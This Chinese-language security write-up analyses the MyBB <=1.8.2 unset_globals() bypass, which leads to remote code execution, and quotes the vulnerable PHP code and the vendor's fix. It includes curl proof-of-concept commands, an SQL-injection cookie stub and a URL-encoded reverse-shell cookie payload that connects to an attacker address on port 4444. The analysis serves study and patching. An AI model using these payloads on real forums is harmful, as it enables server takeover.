MyBB<=1.8.2unset_globals()FunctionBypassandRemoteCodeExecution(ReverseShellExplo.

catalogue

1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考

1. 漏洞描述

MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution.

Relevant Link:

https://cxsecurity.com/issue/WLB-2015120164https://packetstormsecurity.com/files/134833/MyBB-1.8.2-Code-Execution.htmlhttps://www.exploit-db.com/exploits/35323/

2. 漏洞触发条件

0x1: POC1

//php.ini配置1. request_order = "GP"2. register_globals = On//remote code execution by just using curl on the command line3. curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://30.9.192.207/mybb_1802/

PHP自动化验证脚本

0x2: POC2

//php.ini1. disable_functions = ini_get2. register_globals = On//url3. index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1

0x3: POC3

//php.ini配置1. request_order = "GP"2. register_globals = On//urlcurl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php//Works on disable_functions = ini_get and register\_globals = On:css.php?shutdown_queries[]=SQL_Inj

3. 漏洞影响范围

MyBB 1.8 <= 1.8.2 and MyBB 1.6 <= 1.6.15

4. 漏洞代码分析

\mybb_1802\inc\class_core.php

..// If we've got register globals on, then kill them too/*When PHP's register_globals configuration set on, MyBB will call unset_globals() functionall global variables registered by PHP from $_POST, $_GET, $_FILES, and $_COOKIE arrays will be destroyed.这是MyBB做的一种安全机制，在每个PHP脚本请求的开始进行"超全局变量自动注册反向处理"，抵消可能出现的register_globals导致的安全问题*/if(@ini_get("register_globals") == 1){    $this->unset_globals($_POST);    $this->unset_globals($_GET);    $this->unset_globals($_FILES);    $this->unset_globals($_COOKIE);}../** * Unsets globals from a specific array. * * @param array The array to unset from. */function unset_globals($array){    if(!is_array($array))    {        return;    }    foreach(array_keys($array) as $key)    {        unset($GLOBALS[$key]);        unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4    }}

这个逻辑看起来好像没问题，而且是出于安全方面的考虑进行了防御性处理，但是因为PHP内核的一些特性，导致unset_globals()函数的执行能够被绕过

1. 在正常情况下，通过GPC方式输入的变量，即使开启了register_globals，也会被自动进行unset $GLOBAL[$var]处理，这是MyBB自己实现了一套防御低版本PHP误开启register_globals = On的代码逻辑，这防御了本地变量覆盖的发生2. 但是存在一个特殊的变量GLOBALS，$GLOBALS超全局数组是PHP内核负责创建维护的，我们可以在程序中任意位置读写$GLOBALS['key']，PHP内核绑定了$GLOBALS数组和global symbol table之间的连接3. 如果黑客传入: foo.php?GLOBALS=1，则MyBB会执行unset($GLOBALS["GLOBALS"]);这会直接导致$GLOBALS和global symbol table之间的连接4. 而这直接导致的后果是$_GET、$_POST、$_COOKIE..中无法再获取到用户传入的参数key，因为本质上GPC的参数是从$GLOBALS中拿到的，所以unset操作也就无法正常进行

需要注意的是，MyBB的防御框架里注意到了这个问题\mybb_1802\inc\class_core.php

..function __construct(){    // Set up MyBB    $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");    foreach($protected as $var)    {        if(isset($_REQUEST[$var]) || isset($_FILES[$var]))        {            die("Hacking attempt");        }    }    ..

MyBB的本意是阻止请求参数中出现GET/POST/GLOBALS这种可能影响全局变量参数的值，但是问题在PHP中的$_REQUEST也是一个超全局变量，它的值受php.ini影响，在PHP5.3以后，request_order = "GP"，也就是说，$_REQUEST只包括GET/POST中的参数，这直接导致了对COOKIES的敏感参数过滤失效，所以，黑客可以在COOKIES中放入变量覆盖攻击payload

GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;

稍微总结一下，这个利用前提条件有2种场景

1. MyBB <= PHP 5.3: request_order = "GP"2. PHP 5.3 <= MyBB <= PHP 5.4: register_globals = On 

理解了变量覆盖发生的前提，下一步看攻击Payload是如何构造并触发本地变量覆盖的\mybb_1802\inc\class_core.php

//class_core.php几乎是所有页面脚本都会调用到的文件，下面的析构函数会被频繁调用function __destruct(){    // Run shutdown function    if(function_exists("run_shutdown"))    {        run_shutdown();    }}

run_shutdown();\mybb_1802\inc\functions.php

/** * Runs the shutdown items after the page has been sent to the browser. * */function run_shutdown(){    //the $shutdown_functions was initialized via add\_shutdown() function in init.php    //但是因为本地变量覆盖漏洞的存在，这里$shutdown_functions可以被劫持    global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;    if($done_shutdown == true || !$config || (isset($error_handler) && $error_handler->has_errors))    {        return;    }    ..    // Run any shutdown functions if we have them    if(is_array($shutdown_functions))    {        foreach($shutdown_functions as $function)        {            call_user_func_array($function['function'], $function['arguments']);        }    }    ..

Relevant Link:

http://0day.today/exploit/22913

5. 防御方法

\inc\class_core.php

class MyBB {    ..    function __construct()    {        // Set up MyBB        $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");        foreach($protected as $var)        {            /*if(isset($_REQUEST[$var]) || isset($_FILES[$var]))*/            if(isset($_GET[$var]) || isset($_POST[$var]) || isset($_COOKIE[$var]) || isset($_FILES[$var]))            {                die("Hacking attempt");            }        }        ..

Relevant Link:

http://blog.mybb.com/2014/11/20/mybb-1-8-3-1-6-16-released-security-releases/http://cn.313.ninja/exploit/22913

6. 攻防思考

Copyright (c) 2016 Little5ann All rights reserved